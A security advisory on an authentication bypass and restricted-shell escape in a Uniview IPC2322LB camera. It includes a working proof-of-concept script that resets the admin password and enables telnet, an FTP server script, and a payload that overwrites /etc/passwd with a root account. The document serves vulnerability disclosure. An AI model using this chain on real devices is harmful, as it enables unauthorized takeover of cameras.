SSD Advisory – Uniview IPC2322LB Auth Bypass and CLI escape

Summary

The Uniview IPC2322LB processes authentication requests allows remote attackers to bypass the authentication process and gain unauthorized access. If this is combined with a CLI escape, the Uniview device’s security can be completely compromised.

Credit

Yoseop Kim working for SSD Labs Korea

Vendor Response

The vendor has released an advisory that addresses this issue: https://global.uniview.com/About_Us/Security/Notice/202309/976482_140493_0.htm

Affected Versions

IPC2322LB-ADZK-G-NB with firmware version: DIPC-B1216.2.71.C000285.220803

Technical Analysis

All of Uniview IPC2322LB’s Javascript code related to password changing can be accessed without authentication, it is therefore possible to bypass authentication requirement and change the password.

In addition, a CLI bypass described in this report illustrates how to enable telnet through authentication bypass and obtain root privileges by bypassing uvsh (restricted shell).

Authentication bypass

First, you need to understand how the password recovery mechanism works – this mechanism allows you if you lose your password to the device – you would still be able to access it and recover the password.

This password recovery is done by sending a security code to the email you entered previously through the application, which you can then use it to change your password – assuming of course you can scan the QR and code and provide the value to the UI:

This security code is made up of a special string consisting of the serial number + the time the device was configured + the email address.

After entering this security code, a few URLs are accessed:

  1. http://192.168.1.13/LAPI/V1.0/System/Security/RSA?randomKey=1688985257083
  2. http://192.168.1.13/LAPI/V1.0/System/Security/User/PIN/VertifyInfo?randomKey=1688985257126

We should note this special URL with RSA in it because the response of this URL contains the value RSAPublicKeyN which we need.

The reason RSAPublicKeyN is important is that if user lose password, user must send the RSAPublicKeyN together to change Uniview password.

And surprisingly, there are no conditions to find RSAPublicKeyN as shown in the screenshot below:

Now we can send and parse the appropriate URL to get the RSAPublicKeyN and change the password to the appropriate form, allowing authentication bypass.

Telnet enable

Uniview, like other IoT or cctv, has data that stores the device’s config settings. This data has the following form to enable telnet:

Where the value of 1 enables, 0 disables. Now, if we send this config file with the password we have, telnet will be activated after the device reboots.

Bypass restricted shell

The default password for telnet to Uniview is 123456, which is the same as the initial setting for web login.

When you connect to telnet, you can use the uvsh shell. As you can see in the screenshot below, this shell can only use some commands.

We will focus on the command updatecpld. The reason is in the screenshot:

This is because, as you can infer from the picture, it uses ftpget and throws an error saying "/program/bin/updatecpld.sh: line 7: ./cpldload: not found".

Let activate an FTP server and created a file called cpldload . And cpldload file is written as follows:

echo root:dIkAjCy0Zma2s:0:0:Linux User,,,:/root:/bin/sh > /etc/passwd

Proof of Concept

#!/usr/bin/python3
# poc.py
import sys
import requests
import socket
import json
from requests.auth import HTTPDigestAuth


def main(target):
    response = requests.get(
        "http://" + target + "/LAPI/V1.0/System/Security/RSA?randomKey=1688561554371"
    )
    assert response.status_code == 200

    data = response.json()

    RSAPublicKeyN = data["Response"]["Data"]["RSAPublicKeyN"]
    RSAPublicKeyE = data["Response"]["Data"]["RSAPublicKeyE"]

    """
    The reason why this http request is made through a socket is that an error occurs when an http request is made using requests for unknown reasons.
    """
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # Connect to server
        s.connect((target, 80))

        # Construct the HTTP request
        request = "PUT /LAPI/V1.0/Channel/0/System/Users/Users/0 HTTP/1.1\r\n"
        request += "Host: " + target + "\r\n"
        request += "Accept: application/json, text/javascript, */*; q=0.01\r\n"
        request += "X-Requested-With: XMLHttpRequest\r\n"
        request += "User-Agent: Mozilla/5.0\r\n"
        request += "Content-Type: application/json; charset=UTF-8\r\n"
        request += "Accept-Encoding: gzip, deflate\r\n"
        request += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
        request += "Connection: close\r\n"

        data = {
            "ID": 0,
            "Level": 0,
            "Name": "admin",
            "RSAPublicKey": {
                "RSAPublicKeyE": RSAPublicKeyE,
                "RSAPublicKeyN": RSAPublicKeyN,
            },
            "Passwd": "password123!",
        }
        request += "Content-Length: " + str(len(json.dumps(data))) + "\r\n\r\n"
        request += json.dumps(data)

        # Send HTTP request
        s.send(request.encode())

        # Get the response (in several parts, if necessary)
        response = ""
        while True:
            part = s.recv(1024)
            if not part:
                break
            response += part.decode()

        # Print the response
        print(response)

    finally:
        # Close the connection
        s.close()

    with open("IPC2322LB-ADZK-G-NB_192.168.1.12_config_fixed.tgz", mode="rb") as f:
        file_content = f.read()

    data = {"file": ("IPC2322LB-ADZK-G-NB_192.168.1.12_config_fixed.tgz", file_content)}

    response = requests.post(
        "http://" + target + "/LAPI/V1.0/System/Configuration",
        files=data,
        auth=HTTPDigestAuth("admin", "password123!"),
    )
    assert response.status_code == 200


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("python3 script.py target ip")
        exit()

    main(sys.argv[1])
#!/usr/bin/python3
#ftptest.py

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer


def main():
    authorizer = DummyAuthorizer()

    authorizer.add_anonymous(
        "/Users/something/workspace/uniview/bypass", perm="elradfmw"
    )

    handler = FTPHandler
    handler.authorizer = authorizer

    server = FTPServer(("0.0.0.0", 21), handler)
    server.serve_forever()


if __name__ == "__main__":
    main()
echo root:dIkAjCy0Zma2s:0:0:Linux User,,,:/root:/bin/sh > /etc/passwd

?

Get in touch